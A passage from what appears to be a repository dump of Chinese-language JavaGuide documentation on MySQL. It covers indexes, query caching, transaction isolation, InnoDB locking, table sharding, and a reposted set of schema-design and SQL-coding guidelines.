\n5.添加多列索引\n\n```\nALTER TABLE `table_name` ADD INDEX index_name ( `column1`, `column2`, `column3` )\n```\n\n\n# 参考\n\n- 《Java工程师修炼之道》\n- 《MySQL高性能书籍_第3版》\n- https://juejin.im/post/5b55b842f265da0f9e589e79\n                           \n"
  },
  {
    "path": "docs/database/MySQL.md",
    "content": "\n\nJava面试通关手册（Java学习指南，欢迎Star，会一直完善下去，欢迎建议和指导）：[https://github.com/Snailclimb/Java_Guide](https://github.com/Snailclimb/Java_Guide)\n\n> ## 书籍推荐\n\n**《高性能MySQL : 第3版》**\n\n> ## 文字教程推荐\n\n[MySQL 教程（菜鸟教程）](http://www.runoob.com/mysql/mysql-tutorial.html)\n\n[MySQL教程（易百教程）](https://www.yiibai.com/mysql/)\n\n> ## 视频教程推荐\n\n\n**基础入门：** [与MySQL的零距离接触-慕课网](https://www.imooc.com/learn/122)\n\n**Mysql开发技巧：** [MySQL开发技巧（一）](https://www.imooc.com/learn/398)　　[MySQL开发技巧（二）](https://www.imooc.com/learn/427)　　[MySQL开发技巧（三）](https://www.imooc.com/learn/449)\n\n**Mysql5.7新特性及相关优化技巧：** [MySQL5.7版本新特性](https://www.imooc.com/learn/533)　　[性能优化之MySQL优化](https://www.imooc.com/learn/194)\n\n[MySQL集群（PXC）入门](https://www.imooc.com/learn/993)　　[MyCAT入门及应用](https://www.imooc.com/learn/951)\n\n\n\n> ## 常见问题总结\n\n- ### ①存储引擎\n\n  [MySQL常见的两种存储引擎：MyISAM与InnoDB的爱恨情仇](https://juejin.im/post/5b1685bef265da6e5c3c1c34)\n  \n- ### ②字符集及校对规则\n\n   字符集指的是一种从二进制编码到某类字符符号的映射。校对规则则是指某种字符集下的排序规则。Mysql中每一种字符集都会对应一系列的校对规则。\n\n   Mysql采用的是类似继承的方式指定字符集的默认值，每个数据库以及每张数据表都有自己的默认值，他们逐层继承。比如：某个库中所有表的默认字符集将是该数据库所指定的字符集（这些表在没有指定字符集的情况下，才会采用默认字符集） PS：整理自《Java工程师修炼之道》\n   \n   详细内容可以参考：   [MySQL字符集及校对规则的理解](https://www.cnblogs.com/geaozhang/p/6724393.html#mysqlyuzifuji)\n\n-  ### ③索引相关的内容（数据库使用中非常关键的技术，合理正确的使用索引可以大大提高数据库的查询性能）\n    \n   　　Mysql索引使用的数据结构主要有**BTree索引** 和 **哈希索引** 。对于哈希索引来说，底层的数据结构就是哈希表，因此在绝大多数需求为单条记录查询的时候，可以选择哈希索引，查询性能最快；其余大部分场景，建议选择BTree索引。\n   \n   　　Mysql的BTree索引使用的是B数中的B+Tree，但对于主要的两种存储引擎的实现方式是不同的。\n\n   　　**MyISAM:** B+Tree叶节点的data域存放的是数据记录的地址。在索引检索的时候，首先按照B+Tree搜索算法搜索索引，如果指定的Key存在，则取出其 data 域的值，然后以 data 域的值为地址读取相应的数据记录。这被称为“非聚簇索引”。\n   \n   　　**InnoDB:** 其数据文件本身就是索引文件。相比MyISAM，索引文件和数据文件是分离的，其表数据文件本身就是按B+Tree组织的一个索引结构，树的叶节点data域保存了完整的数据记录。这个索引的key是数据表的主键，因此InnoDB表数据文件本身就是主索引。这被称为“聚簇索引（或聚集索引）”。而其余的索引都作为辅助索引，辅助索引的data域存储相应记录主键的值而不是地址，这也是和MyISAM不同的地方。**在根据主索引搜索时，直接找到key所在的节点即可取出数据；在根据辅助索引查找时，则需要先取出主键的值，再走一遍主索引。** **因此，在设计表的时候，不建议使用过长的字段作为主键，也不建议使用非单调的字段作为主键，这样会造成主索引频繁分裂。** PS：整理自《Java工程师修炼之道》\n   \n    详细内容可以参考：\n    \n    [干货：mysql索引的数据结构](https://www.jianshu.com/p/1775b4ff123a)\n    \n    [MySQL优化系列（三）--索引的使用、原理和设计优化](https://blog.csdn.net/Jack__Frost/article/details/72571540)\n \n    [数据库两大神器【索引和锁】](https://juejin.im/post/5b55b842f265da0f9e589e79#comment)\n    \n- ### ④查询缓存的使用\n\n   my.cnf加入以下配置，重启Mysql开启查询缓存\n   ```\n   query_cache_type=1\n   query_cache_size=600000\n   ```\n   \n   Mysql执行以下命令也可以开启查询缓存\n   \n   ```\n   set global  query_cache_type=1;\n   set global  query_cache_size=600000;\n   ```\n   如上，**开启查询缓存后在同样的查询条件以及数据情况下，会直接在缓存中返回结果**。这里的查询条件包括查询本身、当前要查询的数据库、客户端协议版本号等一些可能影响结果的信息。因此任何两个查询在任何字符上的不同都会导致缓存不命中。此外，如果查询中包含任何用户自定义函数、存储函数、用户变量、临时表、Mysql库中的系统表，其查询结果也不会被缓存。\n   \n   缓存建立之后，Mysql的查询缓存系统会跟踪查询中涉及的每张表，如果这些表（数据或结构）发生变化，那么和这张表相关的所有缓存数据都将失效。\n   \n   **缓存虽然能够提升数据库的查询性能，但是缓存同时也带来了额外的开销，每次查询后都要做一次缓存操作，失效后还要销毁。** 因此，开启缓存查询要谨慎，尤其对于写密集的应用来说更是如此。如果开启，要注意合理控制缓存空间大小，一般来说其大小设置为几十MB比较合适。此外，**还可以通过sql_cache和sql_no_cache来控制某个查询语句是否需要缓存：**\n   ```\n   select sql_no_cache count(*) from usr;\n   ```\n   \n- ### ⑤事务机制\n   \n   **关系性数据库需要遵循ACID规则，具体内容如下：**\n\n![事务的特性](https://user-gold-cdn.xitu.io/2018/5/20/1637b08b98619455?w=312&h=305&f=png&s=22430)\n\n   1.  **原子性：** 事务是最小的执行单位，不允许分割。事务的原子性确保动作要么全部完成，要么完全不起作用；\n   2.  **一致性：** 执行事务前后，数据库从一个一致性状态转换到另一个一致性状态。\n   3.  **隔离性：** 并发访问数据库时，一个用户的事物不被其他事务所干扰，各并发事务之间数据库是独立的；\n   4.  **持久性：** 一个事务被提交之后。它对数据库中数据的改变是持久的，即使数据库 发生故障也不应该对其有任何影响。\n   \n  **为了达到上述事务特性，数据库定义了几种不同的事务隔离级别：**\n\n-  **READ_UNCOMMITTED（未提交读）:** 最低的隔离级别，允许读取尚未提交的数据变更，**可能会导致脏读、幻读或不可重复读**\n-  **READ_COMMITTED（提交读）:** \t允许读取并发事务已经提交的数据，**可以阻止脏读，但是幻读或不可重复读仍有可能发生**\n-  **REPEATABLE_READ（可重复读）:** \t对同一字段的多次读取结果都是一致的，除非数据是被本身事务自己所修改，**可以阻止脏读和不可重复读，但幻读仍有可能发生。**\n- **SERIALIZABLE（串行）:** \t最高的隔离级别，完全服从ACID的隔离级别。所有的事务依次逐个执行，这样事务之间就完全不可能产生干扰，也就是说，**该级别可以防止脏读、不可重复读以及幻读**。但是这将严重影响程序的性能。通常情况下也不会用到该级别。\n\n  这里需要注意的是：**Mysql 默认采用的 REPEATABLE_READ隔离级别 Oracle 默认采用的 READ_COMMITTED隔离级别.**\n\n  事务隔离机制的实现基于锁机制和并发调度。其中并发调度使用的是MVCC（多版本并发控制），通过行的创建时间和行的过期时间来支持并发一致性读和回滚等特性。\n\n   详细内容可以参考：   [可能是最漂亮的Spring事务管理详解](https://blog.csdn.net/qq_34337272/article/details/80394121)\n\n- ### ⑥锁机制与InnoDB锁算法\n   **MyISAM和InnoDB存储引擎使用的锁：**\n\n  - MyISAM采用表级锁(table-level locking)。\n  - InnoDB支持行级锁(row-level locking)和表级锁,默认为行级锁\n\n   **表级锁和行级锁对比：**\n\n    - **表级锁：** Mysql中锁定 **粒度最大** 的一种锁，对当前操作的整张表加锁，实现简单，资源消耗也比较少，加锁快，不会出现死锁。其锁定粒度最大，触发锁冲突的概率最高，并发度最低，MyISAM和 InnoDB引擎都支持表级锁。\n   - **行级锁：** Mysql中锁定 **粒度最小** 的一种锁，只针对当前操作的行进行加锁。 行级锁能大大减少数据库操作的冲突。其加锁粒度最小，并发度高，但加锁的开销也最大，加锁慢，会出现死锁。 \n\n   详细内容可以参考：\n   [Mysql锁机制简单了解一下](https://blog.csdn.net/qq_34337272/article/details/80611486)\n   \n  **InnoDB存储引擎的锁的算法有三种：**\n   - Record lock：单个行记录上的锁\n   - Gap lock：间隙锁，锁定一个范围，不包括记录本身\n   - Next-key lock：record+gap 锁定一个范围，包含记录本身\n \n   **相关知识点：**\n    1. innodb对于行的查询使用next-key lock\n    2. Next-locking keying为了解决Phantom Problem幻读问题\n    3. 当查询的索引含有唯一属性时，将next-key lock降级为record key\n    4. Gap锁设计的目的是为了阻止多个事务将记录插入到同一范围内，而这会导致幻读问题的产生\n    5. 有两种方式显式关闭gap锁：（除了外键约束和唯一性检查外，其余情况仅使用record lock） A. 将事务隔离级别设置为RC B. 将参数innodb_locks_unsafe_for_binlog设置为1\n\n-  ### ⑦大表优化\n\n   当MySQL单表记录数过大时，数据库的CRUD性能会明显下降，一些常见的优化措施如下：\n  \n  1. **限定数据的范围：** 务必禁止不带任何限制数据范围条件的查询语句。比如：我们当用户在查询订单历史的时候，我们可以控制在一个月的范围内。；\n  2. **读/写分离：** 经典的数据库拆分方案，主库负责写，从库负责读；\n  3 . **垂直分区：** \n     \n      **根据数据库里面数据表的相关性进行拆分。** 例如，用户表中既有用户的登录信息又有用户的基本信息，可以将用户表拆分成两个单独的表，甚至放到单独的库做分库。\n\n      **简单来说垂直拆分是指数据表列的拆分，把一张列比较多的表拆分为多张表。** 如下图所示，这样来说大家应该就更容易理解了。\n    ![](https://user-gold-cdn.xitu.io/2018/6/16/164084354ba2e0fd?w=950&h=279&f=jpeg&s=26015)\n  \n      **垂直拆分的优点：** 可以使得行数据变小，在查询时减少读取的Block数，减少I/O次数。此外，垂直分区可以简化表的结构，易于维护。\n\n      **垂直拆分的缺点：** 主键会出现冗余，需要管理冗余列，并会引起Join操作，可以通过在应用层进行Join来解决。此外，垂直分区会让事务变得更加复杂；\n\n  4. **水平分区：** \n  \n   \n     **保持数据表结构不变，通过某种策略存储数据分片。这样每一片数据分散到不同的表或者库中，达到了分布式的目的。 水平拆分可以支撑非常大的数据量。** \n   \n     水平拆分是指数据表行的拆分，表的行数超过200万行时，就会变慢，这时可以把一张的表的数据拆成多张表来存放。举个例子：我们可以将用户信息表拆分成多个用户信息表，这样就可以避免单一表数据量过大对性能造成影响。\n   \n     ![数据库水平拆分](https://user-gold-cdn.xitu.io/2018/6/16/164084b7e9e423e3?w=690&h=271&f=jpeg&s=23119)\n   \n     水平拆分可以支持非常大的数据量。需要注意的一点是:分表仅仅是解决了单一表数据过大的问题，但由于表的数据还是在同一台机器上，其实对于提升MySQL并发能力没有什么意义，所以 **水平拆分最好分库** 。\n   \n     水平拆分能够 **支持非常大的数据量存储，应用端改造也少**，但 **分片事务难以解决**  ，跨界点Join性能较差，逻辑复杂。《Java工程师修炼之道》的作者推荐 **尽量不要对数据进行分片，因为拆分会带来逻辑、部署、运维的各种复杂度** ，一般的数据表在优化得当的情况下支撑千万以下的数据量是没有太大问题的。如果实在要分片，尽量选择客户端分片架构，这样可以减少一次和中间件的网络I/O。\n   \n     **下面补充一下数据库分片的两种常见方案：**\n     - **客户端代理：**  **分片逻辑在应用端，封装在jar包中，通过修改或者封装JDBC层来实现。** 当当网的 **Sharding-JDBC** 、阿里的TDDL是两种比较常用的实现。\n     - **中间件代理：** **在应用和数据中间加了一个代理层。分片逻辑统一维护在中间件服务中。** 我们现在谈的 **Mycat** 、360的Atlas、网易的DDB等等都是这种架构的实现。\n  \n  \n  详细内容可以参考：\n  [MySQL大表优化方案](https://segmentfault.com/a/1190000006158186)\n  \n\n"
  },
  {
    "path": "docs/database/MySQL高性能优化规范建议.md",
    "content": "> 作者: 听风，原文地址: <https://www.cnblogs.com/huchong/p/10219318.html>。JavaGuide 已获得作者授权。\n\n<!-- TOC -->\n\n- [数据库命令规范](#数据库命令规范)\n- [数据库基本设计规范](#数据库基本设计规范)\n    - [1. 所有表必须使用 Innodb 存储引擎](#1-所有表必须使用-innodb-存储引擎)\n    - [2. 数据库和表的字符集统一使用 UTF8](#2-数据库和表的字符集统一使用-utf8)\n    - [3. 所有表和字段都需要添加注释](#3-所有表和字段都需要添加注释)\n    - [4. 尽量控制单表数据量的大小,建议控制在 500 万以内。](#4-尽量控制单表数据量的大小建议控制在-500-万以内)\n    - [5. 谨慎使用 MySQL 分区表](#5-谨慎使用-mysql-分区表)\n    - [6.尽量做到冷热数据分离,减小表的宽度](#6尽量做到冷热数据分离减小表的宽度)\n    - [7. 禁止在表中建立预留字段](#7-禁止在表中建立预留字段)\n    - [8. 禁止在数据库中存储图片,文件等大的二进制数据](#8-禁止在数据库中存储图片文件等大的二进制数据)\n    - [9. 禁止在线上做数据库压力测试](#9-禁止在线上做数据库压力测试)\n    - [10. 禁止从开发环境,测试环境直接连接生成环境数据库](#10-禁止从开发环境测试环境直接连接生成环境数据库)\n- [数据库字段设计规范](#数据库字段设计规范)\n    - [1. 优先选择符合存储需要的最小的数据类型](#1-优先选择符合存储需要的最小的数据类型)\n    - [2. 避免使用 TEXT,BLOB 数据类型，最常见的 TEXT 类型可以存储 64k 的数据](#2-避免使用-textblob-数据类型最常见的-text-类型可以存储-64k-的数据)\n    - [3. 避免使用 ENUM 类型](#3-避免使用-enum-类型)\n    - [4. 尽可能把所有列定义为 NOT NULL](#4-尽可能把所有列定义为-not-null)\n    - [5. 使用 TIMESTAMP(4 个字节) 或 DATETIME 类型 (8 个字节) 存储时间](#5-使用-timestamp4-个字节-或-datetime-类型-8-个字节-存储时间)\n    - [6. 同财务相关的金额类数据必须使用 decimal 类型](#6-同财务相关的金额类数据必须使用-decimal-类型)\n- [索引设计规范](#索引设计规范)\n    - [1. 限制每张表上的索引数量,建议单张表索引不超过 5 个](#1-限制每张表上的索引数量建议单张表索引不超过-5-个)\n    - [2. 禁止给表中的每一列都建立单独的索引](#2-禁止给表中的每一列都建立单独的索引)\n    - [3. 每个 Innodb 表必须有个主键](#3-每个-innodb-表必须有个主键)\n    - [4. 常见索引列建议](#4-常见索引列建议)\n    - [5.如何选择索引列的顺序](#5如何选择索引列的顺序)\n    - [6. 避免建立冗余索引和重复索引（增加了查询优化器生成执行计划的时间）](#6-避免建立冗余索引和重复索引增加了查询优化器生成执行计划的时间)\n    - [7. 对于频繁的查询优先考虑使用覆盖索引](#7-对于频繁的查询优先考虑使用覆盖索引)\n    - [8.索引 SET 规范](#8索引-set-规范)\n- [数据库 SQL 开发规范](#数据库-sql-开发规范)\n    - [1. 建议使用预编译语句进行数据库操作](#1-建议使用预编译语句进行数据库操作)\n    - [2. 避免数据类型的隐式转换](#2-避免数据类型的隐式转换)\n    - [3. 充分利用表上已经存在的索引](#3-充分利用表上已经存在的索引)\n    - [4. 数据库设计时，应该要对以后扩展进行考虑](#4-数据库设计时应该要对以后扩展进行考虑)\n    - [5. 程序连接不同的数据库使用不同的账号，进制跨库查询](#5-程序连接不同的数据库使用不同的账号进制跨库查询)\n    - [6. 禁止使用 SELECT * 必须使用 SELECT <字段列表> 查询](#6-禁止使用-select--必须使用-select-字段列表-查询)\n    - [7. 禁止使用不含字段列表的 INSERT 语句](#7-禁止使用不含字段列表的-insert-语句)\n    - [8. 避免使用子查询，可以把子查询优化为 join 操作](#8-避免使用子查询可以把子查询优化为-join-操作)\n    - [9. 避免使用 JOIN 关联太多的表](#9-避免使用-join-关联太多的表)\n    - [10. 减少同数据库的交互次数](#10-减少同数据库的交互次数)\n    - [11. 对应同一列进行 or 判断时，使用 in 代替 or](#11-对应同一列进行-or-判断时使用-in-代替-or)\n    - [12. 禁止使用 order by rand() 进行随机排序](#12-禁止使用-order-by-rand-进行随机排序)\n    - [13. WHERE 从句中禁止对列进行函数转换和计算](#13-where-从句中禁止对列进行函数转换和计算)\n    - [14. 在明显不会有重复值时使用 UNION ALL 而不是 UNION](#14-在明显不会有重复值时使用-union-all-而不是-union)\n    - [15. 拆分复杂的大 SQL 为多个小 SQL](#15-拆分复杂的大-sql-为多个小-sql)\n- [数据库操作行为规范](#数据库操作行为规范)\n    - [1. 超 100 万行的批量写 (UPDATE,DELETE,INSERT) 操作,要分批多次进行操作](#1-超-100-万行的批量写-updatedeleteinsert-操作要分批多次进行操作)\n    - [2. 对于大表使用 pt-online-schema-change 修改表结构](#2-对于大表使用-pt-online-schema-change-修改表结构)\n    - [3. 禁止为程序使用的账号赋予 super 权限](#3-禁止为程序使用的账号赋予-super-权限)\n    - [4. 对于程序连接数据库账号,遵循权限最小原则](#4-对于程序连接数据库账号遵循权限最小原则)\n\n<!-- /TOC -->\n\n## 数据库命令规范\n\n- 所有数据库对象名称必须使用小写字母并用下划线分割\n- 所有数据库对象名称禁止使用 MySQL 保留关键字（如果表名中包含关键字查询时，需要将其用单引号括起来）\n- 数据库对象的命名要能做到见名识意，并且最后不要超过 32 个字符\n- 临时库表必须以 tmp_为前缀并以日期为后缀，备份表必须以 bak_为前缀并以日期 (时间戳) 为后缀\n- 所有存储相同数据的列名和列类型必须一致（一般作为关联列，如果查询时关联列类型不一致会自动进行数据类型隐式转换，会造成列上的索引失效，导致查询效率降低）\n\n------\n\n## 数据库基本设计规范\n\n### 1. 所有表必须使用 Innodb 存储引擎\n\n没有特殊要求（即 Innodb 无法满足的功能如：列存储，存储空间数据等）的情况下，所有表必须使用 Innodb 存储引擎（MySQL5.5 之前默认使用 Myisam，5.6 以后默认的为 Innodb）。\n\nInnodb 支持事务，支持行级锁，更好的恢复性，高并发下性能更好。\n\n### 2. 数据库和表的字符集统一使用 UTF8\n\n兼容性更好，统一字符集可以避免由于字符集转换产生的乱码，不同的字符集进行比较前需要进行转换会造成索引失效，如果数据库中有存储 emoji 表情的需要，字符集需要采用 utf8mb4 字符集。\n\n### 3. 所有表和字段都需要添加注释\n\n使用 comment 从句添加表和列的备注，从一开始就进行数据字典的维护\n\n### 4. 尽量控制单表数据量的大小,建议控制在 500 万以内。\n\n500 万并不是 MySQL 数据库的限制，过大会造成修改表结构，备份，恢复都会有很大的问题。\n\n可以用历史数据归档（应用于日志数据），分库分表（应用于业务数据）等手段来控制数据量大小\n\n### 5. 谨慎使用 MySQL 分区表\n\n分区表在物理上表现为多个文件，在逻辑上表现为一个表；\n\n谨慎选择分区键，跨分区查询效率可能更低；\n\n建议采用物理分表的方式管理大数据。\n\n### 6.尽量做到冷热数据分离,减小表的宽度\n\n> MySQL 限制每个表最多存储 4096 列，并且每一行数据的大小不能超过 65535 字节。\n\n减少磁盘 IO,保证热数据的内存缓存命中率（表越宽，把表装载进内存缓冲池时所占用的内存也就越大,也会消耗更多的 IO）；\n\n更有效的利用缓存，避免读入无用的冷数据；\n\n经常一起使用的列放到一个表中（避免更多的关联操作）。\n\n### 7. 禁止在表中建立预留字段\n\n预留字段的命名很难做到见名识义。\n\n预留字段无法确认存储的数据类型，所以无法选择合适的类型。\n\n对预留字段类型的修改，会对表进行锁定。\n\n### 8. 禁止在数据库中存储图片,文件等大的二进制数据\n\n通常文件很大，会短时间内造成数据量快速增长，数据库进行数据库读取时，通常会进行大量的随机 IO 操作，文件很大时，IO 操作很耗时。\n\n通常存储于文件服务器，数据库只存储文件地址信息\n\n### 9. 禁止在线上做数据库压力测试\n\n### 10. 禁止从开发环境,测试环境直接连接生成环境数据库\n\n------\n\n## 数据库字段设计规范\n\n### 1. 优先选择符合存储需要的最小的数据类型\n\n**原因：**\n\n列的字段越大，建立索引时所需要的空间也就越大，这样一页中所能存储的索引节点的数量也就越少也越少，在遍历时所需要的 IO 次数也就越多，索引的性能也就越差。\n\n**方法：**\n\n**a.将字符串转换成数字类型存储,如:将 IP 地址转换成整形数据**\n\nMySQL 提供了两个方法来处理 ip 地址\n\n- inet_aton 把 ip 转为无符号整型 (4-8 位)\n- inet_ntoa 把整型的 ip 转为地址\n\n插入数据前，先用 inet_aton 把 ip 地址转为整型，可以节省空间，显示数据时，使用 inet_ntoa 把整型的 ip 地址转为地址显示即可。\n\n**b.对于非负型的数据 (如自增 ID,整型 IP) 来说,要优先使用无符号整型来存储**\n\n**原因：**\n\n无符号相对于有符号可以多出一倍的存储空间\n\n```\nSIGNED INT -2147483648~2147483647\nUNSIGNED INT 0~4294967295\n```\n\nVARCHAR(N) 中的 N 代表的是字符数，而不是字节数，使用 UTF8 存储 255 个汉字 Varchar(255)=765 个字节。**过大的长度会消耗更多的内存。**\n\n### 2. 避免使用 TEXT,BLOB 数据类型，最常见的 TEXT 类型可以存储 64k 的数据\n\n**a. 建议把 BLOB 或是 TEXT 列分离到单独的扩展表中**\n\nMySQL 内存临时表不支持 TEXT、BLOB 这样的大数据类型，如果查询中包含这样的数据，在排序等操作时，就不能使用内存临时表，必须使用磁盘临时表进行。而且对于这种数据，MySQL 还是要进行二次查询，会使 sql 性能变得很差，但是不是说一定不能使用这样的数据类型。\n\n如果一定要使用，建议把 BLOB 或是 TEXT 列分离到单独的扩展表中，查询时一定不要使用 select * 而只需要取出必要的列，不需要 TEXT 列的数据时不要对该列进行查询。\n\n**2、TEXT 或 BLOB 类型只能使用前缀索引**\n\n因为[MySQL](http://mp.weixin.qq.com/s?__biz=MzI4Njc5NjM1NQ==&mid=2247487885&idx=1&sn=65b1bf5f7d4505502620179669a9c2df&chksm=ebd62ea1dca1a7b7bf884bcd9d538d78ba064ee03c09436ca8e57873b1d98a55afd6d7884cfc&scene=21#wechat_redirect) 对索引字段长度是有限制的，所以 TEXT 类型只能使用前缀索引，并且 TEXT 列上是不能有默认值的\n\n### 3. 避免使用 ENUM 类型\n\n修改 ENUM 值需要使用 ALTER 语句\n\nENUM 类型的 ORDER BY 操作效率低，需要额外操作\n\n禁止使用数值作为 ENUM 的枚举值\n\n### 4. 尽可能把所有列定义为 NOT NULL\n\n**原因：**\n\n索引 NULL 列需要额外的空间来保存，所以要占用更多的空间\n\n进行比较和计算时要对 NULL 值做特别的处理\n\n### 5. 使用 TIMESTAMP(4 个字节) 或 DATETIME 类型 (8 个字节) 存储时间\n\nTIMESTAMP 存储的时间范围 1970-01-01 00:00:01 ~ 2038-01-19-03:14:07\n\nTIMESTAMP 占用 4 字节和 INT 相同，但比 INT 可读性高\n\n超出 TIMESTAMP 取值范围的使用 DATETIME 类型存储\n\n**经常会有人用字符串存储日期型的数据（不正确的做法）**\n\n- 缺点 1：无法用日期函数进行计算和比较\n- 缺点 2：用字符串存储日期要占用更多的空间\n\n### 6. 同财务相关的金额类数据必须使用 decimal 类型\n\n- 非精准浮点：float,double\n- 精准浮点：decimal\n\nDecimal 类型为精准浮点数，在计算时不会丢失精度\n\n占用空间由定义的宽度决定，每 4 个字节可以存储 9 位数字，并且小数点要占用一个字节\n\n可用于存储比 bigint 更大的整型数据\n\n------\n\n## 索引设计规范\n\n### 1. 限制每张表上的索引数量,建议单张表索引不超过 5 个\n\n索引并不是越多越好！索引可以提高效率同样可以降低效率。\n\n索引可以增加查询效率，但同样也会降低插入和更新的效率，甚至有些情况下会降低查询效率。\n\n因为 MySQL 优化器在选择如何优化查询时，会根据统一信息，对每一个可以用到的索引来进行评估，以生成出一个最好的执行计划，如果同时有很多个索引都可以用于查询，就会增加 MySQL 优化器生成执行计划的时间，同样会降低查询性能。\n\n### 2. 禁止给表中的每一列都建立单独的索引\n\n5.6 版本之前，一个 sql 只能使用到一个表中的一个索引，5.6 以后，虽然有了合并索引的优化方式，但是还是远远没有使用一个联合索引的查询方式好。\n\n### 3. 每个 Innodb 表必须有个主键\n\nInnodb 是一种索引组织表：数据的存储的逻辑顺序和索引的顺序是相同的。每个表都可以有多个索引，但是表的存储顺序只能有一种。\n\nInnodb 是按照主键索引的顺序来组织表的\n\n- 不要使用更新频繁的列作为主键，不适用多列主键（相当于联合索引）\n- 不要使用 UUID,MD5,HASH,字符串列作为主键（无法保证数据的顺序增长）\n- 主键建议使用自增 ID 值\n\n------\n\n### 4. 常见索引列建议\n\n- 出现在 SELECT、UPDATE、DELETE 语句的 WHERE 从句中的列\n- 包含在 ORDER BY、GROUP BY、DISTINCT 中的字段\n- 并不要将符合 1 和 2 中的字段的列都建立一个索引， 通常将 1、2 中的字段建立联合索引效果更好\n- 多表 join 的关联列\n\n------\n\n### 5.如何选择索引列的顺序\n\n建立索引的目的是：希望通过索引进行数据查找，减少随机 IO，增加查询性能 ，索引能过滤出越少的数据，则从磁盘中读入的数据也就越少。\n\n- 区分度最高的放在联合索引的最左侧（区分度=列中不同值的数量/列的总行数）\n- 尽量把字段长度小的列放在联合索引的最左侧（因为字段长度越小，一页能存储的数据量越大，IO 性能也就越好）\n- 使用最频繁的列放到联合索引的左侧（这样可以比较少的建立一些索引）\n\n------\n\n### 6. 避免建立冗余索引和重复索引（增加了查询优化器生成执行计划的时间）\n\n- 重复索引示例：primary key(id)、index(id)、unique index(id)\n- 冗余索引示例：index(a,b,c)、index(a,b)、index(a)\n\n------\n\n### 7. 对于频繁的查询优先考虑使用覆盖索引\n\n> 覆盖索引：就是包含了所有查询字段 (where,select,ordery by,group by 包含的字段) 的索引\n\n**覆盖索引的好处：**\n\n- **避免 Innodb 表进行索引的二次查询:** Innodb 是以聚集索引的顺序来存储的，对于 Innodb 来说，二级索引在叶子节点中所保存的是行的主键信息，如果是用二级索引查询数据的话，在查找到相应的键值后，还要通过主键进行二次查询才能获取我们真实所需要的数据。而在覆盖索引中，二级索引的键值中可以获取所有的数据，避免了对主键的二次查询 ，减少了 IO 操作，提升了查询效率。\n- **可以把随机 IO 变成顺序 IO 加快查询效率:** 由于覆盖索引是按键值的顺序存储的，对于 IO 密集型的范围查找来说，对比随机从磁盘读取每一行的数据 IO 要少的多，因此利用覆盖索引在访问时也可以把磁盘的随机读取的 IO 转变成索引查找的顺序 IO。\n\n------\n\n### 8.索引 SET 规范\n\n**尽量避免使用外键约束**\n\n- 不建议使用外键约束（foreign key），但一定要在表与表之间的关联键上建立索引\n- 外键可用于保证数据的参照完整性，但建议在业务端实现\n- 外键会影响父表和子表的写操作从而降低性能\n\n------\n\n## 数据库 SQL 开发规范\n\n### 1. 建议使用预编译语句进行数据库操作\n\n预编译语句可以重复使用这些计划，减少 SQL 编译所需要的时间，还可以解决动态 SQL 所带来的 SQL 注入的问题。\n\n只传参数，比传递 SQL 语句更高效。\n\n相同语句可以一次解析，多次使用，提高处理效率。\n\n### 2. 避免数据类型的隐式转换\n\n隐式转换会导致索引失效如:\n\n```\nselect name,phone from customer where id = '111';\n```\n\n### 3. 充分利用表上已经存在的索引\n\n避免使用双%号的查询条件。如：`a like '%123%'`，（如果无前置%,只有后置%，是可以用到列上的索引的）\n\n一个 SQL 只能利用到复合索引中的一列进行范围查询。如：有 a,b,c 列的联合索引，在查询条件中有 a 列的范围查询，则在 b,c 列上的索引将不会被用到。\n\n在定义联合索引时，如果 a 列要用到范围查找的话，就要把 a 列放到联合索引的右侧，使用 left join 或 not exists 来优化 not in 操作，因为 not in 也通常会使用索引失效。\n\n### 4. 数据库设计时，应该要对以后扩展进行考虑\n\n### 5. 程序连接不同的数据库使用不同的账号，进制跨库查询\n\n- 为数据库迁移和分库分表留出余地\n- 降低业务耦合度\n- 避免权限过大而产生的安全风险\n\n### 6. 禁止使用 SELECT * 必须使用 SELECT <字段列表> 查询\n\n**原因：**\n\n- 消耗更多的 CPU 和 IO 以网络带宽资源\n- 无法使用覆盖索引\n- 可减少表结构变更带来的影响\n\n### 7. 禁止使用不含字段列表的 INSERT 语句\n\n如：\n\n```\ninsert into values ('a','b','c');\n```\n\n应使用：\n\n```\ninsert into t(c1,c2,c3) values ('a','b','c');\n```\n\n### 8. 避免使用子查询，可以把子查询优化为 join 操作\n\n通常子查询在 in 子句中，且子查询中为简单 SQL(不包含 union、group by、order by、limit 从句) 时,才可以把子查询转化为关联查询进行优化。\n\n**子查询性能差的原因：**\n\n子查询的结果集无法使用索引，通常子查询的结果集会被存储到临时表中，不论是内存临时表还是磁盘临时表都不会存在索引，所以查询性能会受到一定的影响。特别是对于返回结果集比较大的子查询，其对查询性能的影响也就越大。\n\n由于子查询会产生大量的临时表也没有索引，所以会消耗过多的 CPU 和 IO 资源，产生大量的慢查询。\n\n### 9. 避免使用 JOIN 关联太多的表\n\n对于 MySQL 来说，是存在关联缓存的，缓存的大小可以由 join_buffer_size 参数进行设置。\n\n在 MySQL 中，对于同一个 SQL 多关联（join）一个表，就会多分配一个关联缓存，如果在一个 SQL 中关联的表越多，所占用的内存也就越大。\n\n如果程序中大量的使用了多表关联的操作，同时 join_buffer_size 设置的也不合理的情况下，就容易造成服务器内存溢出的情况，就会影响到服务器数据库性能的稳定性。\n\n同时对于关联操作来说，会产生临时表操作，影响查询效率，MySQL 最多允许关联 61 个表，建议不超过 5 个。\n\n### 10. 减少同数据库的交互次数\n\n数据库更适合处理批量操作，合并多个相同的操作到一起，可以提高处理效率。\n\n### 11. 对应同一列进行 or 判断时，使用 in 代替 or\n\nin 的值不要超过 500 个，in 操作可以更有效的利用索引，or 大多数情况下很少能利用到索引。\n\n### 12. 禁止使用 order by rand() 进行随机排序\n\norder by rand() 会把表中所有符合条件的数据装载到内存中，然后在内存中对所有数据根据随机生成的值进行排序，并且可能会对每一行都生成一个随机值，如果满足条件的数据集非常大，就会消耗大量的 CPU 和 IO 及内存资源。\n\n推荐在程序中获取一个随机值，然后从数据库中获取数据的方式。\n\n### 13. WHERE 从句中禁止对列进行函数转换和计算\n\n对列进行函数转换或计算时会导致无法使用索引\n\n**不推荐：**\n\n```\nwhere date(create_time)='20190101'\n```\n\n**推荐：**\n\n```\nwhere create_time >= '20190101' and create_time < '20190102'\n```\n\n### 14. 在明显不会有重复值时使用 UNION ALL 而不是 UNION\n\n- UNION 会把两个结果集的所有数据放到临时表中后再进行去重操作\n- UNION ALL 不会再对结果集进行去重操作\n\n### 15. 拆分复杂的大 SQL 为多个小 SQL\n\n- 大 SQL 逻辑上比较复杂，需要占用大量 CPU 进行计算的 SQL\n- MySQL 中，一个 SQL 只能使用一个 CPU 进行计算\n- SQL 拆分后可以通过并行执行来提高处理效率\n\n------\n\n## 